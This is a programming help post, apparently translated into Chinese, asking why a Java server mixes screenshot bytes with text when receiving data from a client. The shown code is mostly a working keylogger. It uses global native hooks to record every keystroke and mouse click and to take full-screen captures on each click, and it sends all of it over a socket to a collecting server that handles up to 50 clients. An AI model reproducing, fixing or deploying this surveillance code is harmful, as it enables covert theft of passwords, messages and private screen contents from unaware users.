更新:阅读底部部分以获取更多信息
我需要帮助我的两个程序,服务器和客户端程序。客户端程序侦听鼠标和键事件,并且在每个键事件上,客户端将向服务器发送字符串消息,并且在每次鼠标单击时捕获屏幕并首先发送字符串消息“CAPTURE”,然后发送图像。 / p>
以下是两个客户端类:
package me.l0lkj.logger;
import java.awt.Dimension;
import java.awt.Graphics2D;
import java.awt.Image;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.File;
import java.net.URL;
import javax.imageio.ImageIO;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
import org.jnativehook.mouse.NativeMouseEvent;
import org.jnativehook.mouse.NativeMouseInputListener;
import org.jnativehook.mouse.NativeMouseWheelEvent;
import org.jnativehook.mouse.NativeMouseWheelListener;
public class Listener implements NativeKeyListener, NativeMouseInputListener, NativeMouseWheelListener
{
public void nativeKeyPressed(NativeKeyEvent e)
{
MultiThreadChatClient.send(NativeKeyEvent.getKeyText(e.getKeyCode()));
}
public void nativeKeyReleased(NativeKeyEvent e)
{
}
public void nativeKeyTyped(NativeKeyEvent e)
{
}
public void nativeMouseClicked(NativeMouseEvent e)
{
}
public void nativeMousePressed(NativeMouseEvent e)
{
MultiThreadChatClient.send( "MOUSE: " + e.getX() + ", " + e.getY() + " " + e.getButton() );
captureScreen( e.getX(), e.getY() );
}
public void nativeMouseReleased(NativeMouseEvent e)
{
}
public void nativeMouseMoved(NativeMouseEvent e)
{
}
public void nativeMouseDragged(NativeMouseEvent e)
{
}
public void nativeMouseWheelMoved(NativeMouseWheelEvent e)
{
}
public static void start()
{
try
{
GlobalScreen.registerNativeHook();
}
catch (NativeHookException ex)
{
System.exit(1);
}
Listener listener = new Listener();
GlobalScreen.getInstance().addNativeKeyListener( listener );
GlobalScreen.getInstance().addNativeMouseListener( listener );
GlobalScreen.getInstance().addNativeMouseMotionListener( listener );
GlobalScreen.getInstance().addNativeMouseWheelListener( listener );
}
public synchronized void captureScreen( int x, int y )
{
try
{
File folder = new File( "C:/screen/" );
folder.mkdirs();
int count = folder.list().length;
Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
Robot robot = new Robot();
BufferedImage capture = robot.createScreenCapture( new Rectangle( size ) );
File save_path = new File( "C:/screen/screen_" + count + ".jpg" );
try
{
URL cursorpath = MultiThreadChatClient.class.getResource( "cursor_arrow.png" );
if( cursorpath != null )
{
Image cursor = ImageIO.read(cursorpath);
Graphics2D graphics2D = capture.createGraphics();
graphics2D.drawImage(cursor, x, y, 16, 16, null);
}
}
catch ( Exception e )
{}
save_path.mkdirs();
ImageIO.write(capture, "JPG", save_path);
MultiThreadChatClient.send( "CAPTURE" );
ImageIO.write( capture, "JPG", MultiThreadChatClient.getOutputStream() );//Write to server;
}
catch(Exception e)
{}
}
}
在这里:
package me.l0lkj.logger;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Random;
public class MultiThreadChatClient
{
private static Socket clientSocket = null;
private static PrintStream os = null;
private static boolean closed = false;
public static OutputStream getOutputStream()
{
try
{
return clientSocket.getOutputStream();
}
catch (IOException e)
{
e.printStackTrace();
}
return null;
}
private static void start()
{
int portNumber = 2222;
String host = "localhost";
try
{
clientSocket = new Socket(host, portNumber);
os = new PrintStream(clientSocket.getOutputStream());
os.println("KeyListener ID: " + new Random().nextInt());
}
catch (UnknownHostException e)
{}
catch (IOException e)
{}
if ( clientSocket == null || os == null )
{
closed = true;
}
Listener.start();
}
public static void send(String msg)
{
if (!closed)
{
os.println(msg);
}
}
public static void main( String[] args )
{
start();
}
}
我的服务器类:
package me.l0lkj.logger;
import java.awt.image.BufferedImage;
import java.io.DataInputStream;
import java.io.File;
import java.io.IOException;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import javax.imageio.ImageIO;
public class MultiThreadChatServer {
private static ServerSocket serverSocket = null;
private static Socket clientSocket = null;
private static final int maxClientsCount = 50;
private static final clientThread[] threads = new clientThread[maxClientsCount];
public static void main(String args[])
{
int portNumber = 2222;
System.out.println("Lytter på port " + portNumber);
try
{
serverSocket = new ServerSocket(portNumber);
}
catch (IOException e)
{
System.out.println(e);
}
while (true)
{
try
{
clientSocket = serverSocket.accept();
int i = 0;
for (i = 0; i < maxClientsCount; i++)
{
if (threads[i] == null)
{
(threads[i] = new clientThread(clientSocket, threads)).start();
break;
}
}
}
catch (IOException e)
{
System.out.println(e);
}
}
}
}
class clientThread extends Thread
{
private DataInputStream is = null;
private PrintStream os = null;
private Socket clientSocket = null;
private final clientThread[] threads;
private int maxClientsCount;
public clientThread(Socket clientSocket, clientThread[] threads)
{
this.clientSocket = clientSocket;
this.threads = threads;
maxClientsCount = threads.length;
}
public void close()
{
try
{
is.close();
}
catch (IOException e1)
{
e1.printStackTrace();
}
try
{
os.close();
}
catch (Exception e)
{
e.printStackTrace();
}
try
{
clientSocket.close();
}
catch (IOException e)
{
e.printStackTrace();
}
}
@SuppressWarnings("deprecation")
public void run()
{
int maxClientsCount = this.maxClientsCount;
clientThread[] threads = this.threads;
try
{
is = new DataInputStream(clientSocket.getInputStream());
os = new PrintStream(clientSocket.getOutputStream());
String name = is.readLine().trim();
System.out.println("Ny klient kobler til... : " + name);
while (true)
{
boolean skip = false;
String line = is.readLine();
if( line.contains( "CAPTURE" ) )
{
skip = true;
readImg( line );
continue;
}
if( !skip )
{
if( line.equals("END"))
{
break;
}
if( line.length() != 1 && !line.contains( "Num:" ) && !line.contains("MOUSE:")){
line = "[" + line + "]";
}
if( line.contains("Space")) line = " ";
if( line.contains("Enter")) line = line + "\n";
if( line.contains("Period")) line = ".";
if( line.contains( "MOUSE:" ) )
{
System.out.println(line + "\n");
}
else
{
System.out.print(line);
}
}
//Behandle info, lagre info //TODO
}
for (int i = 0; i < maxClientsCount; i++)
{
if (threads[i] == this)
{
threads[i] = null;
}
}
is.close();
os.close();
clientSocket.close();
}
catch (IOException e)
{}
}
public synchronized void readImg( String line )
{
try
{
String date = line.replace( "CAPTURE:", "" );
File path = new File( "C:/captures/" );
path.mkdirs();
BufferedImage image = ImageIO.read( clientSocket.getInputStream() );
ImageIO.write( image, "JPG", new File( path.getAbsolutePath() + "Capture_" + date ) );
System.out.println("Er her");
//read image and save it
}
catch ( Exception e )
{
e.printStackTrace();
}
}
}
我在控制台中看到一个错误和一个LONG字符串,如果你在文本编辑器中打开一个图像,所以我无法自己找到错误代码,因为缓冲区是有限的。
导致问题的原因是什么?如何更准确地编写代码?
谢谢
更新: 客户端发送两件事之一,1:一个String对象或2:首先是一个String然后是一个图像,通过ImageIO.write(); 如果我注释掉System.out.println(line),我下面的代码可用于每个第二个图像;如果我不对这些行进行评论,那么服务器会发疯,并将图像数据作为字符串打印在控制台中。
我该如何解决这个问题?
while (true)
{
String line = is.readLine();
if( line.contains( "CAPTURE" ) )
{
readImg( line );
continue;
}
else
{
if( line.equals("END"))
{
break;
}
if( line.length() != 1 && !line.contains( "Num:" ) && !line.contains("MOUSE:")){
line = "[" + line + "]";
}
if( line.contains("Space")) line = " ";
if( line.contains("Enter")) line = line + "\n";
if( line.contains("Period")) line = ".";
if( line.contains( "MOUSE:" ) )
{
//System.out.println(line + "\n");
}
else
{
//System.out.print(line);
}
//Behandle info, lagre info //TODO
}
}
以上使用的方法:
public synchronized void readImg( String line )
{
try
{
BufferedImage image = ImageIO.read( clientSocket.getInputStream() );
System.out.println("Mottok bilde!!! " + image.getHeight() + "x" + image.getWidth());
ImageIO.write( image, "JPG", new File( "C:/captures/bilde_" + System.currentTimeMillis() + ".jpg" ) );
}
catch ( Exception e )
{
e.printStackTrace();
}
}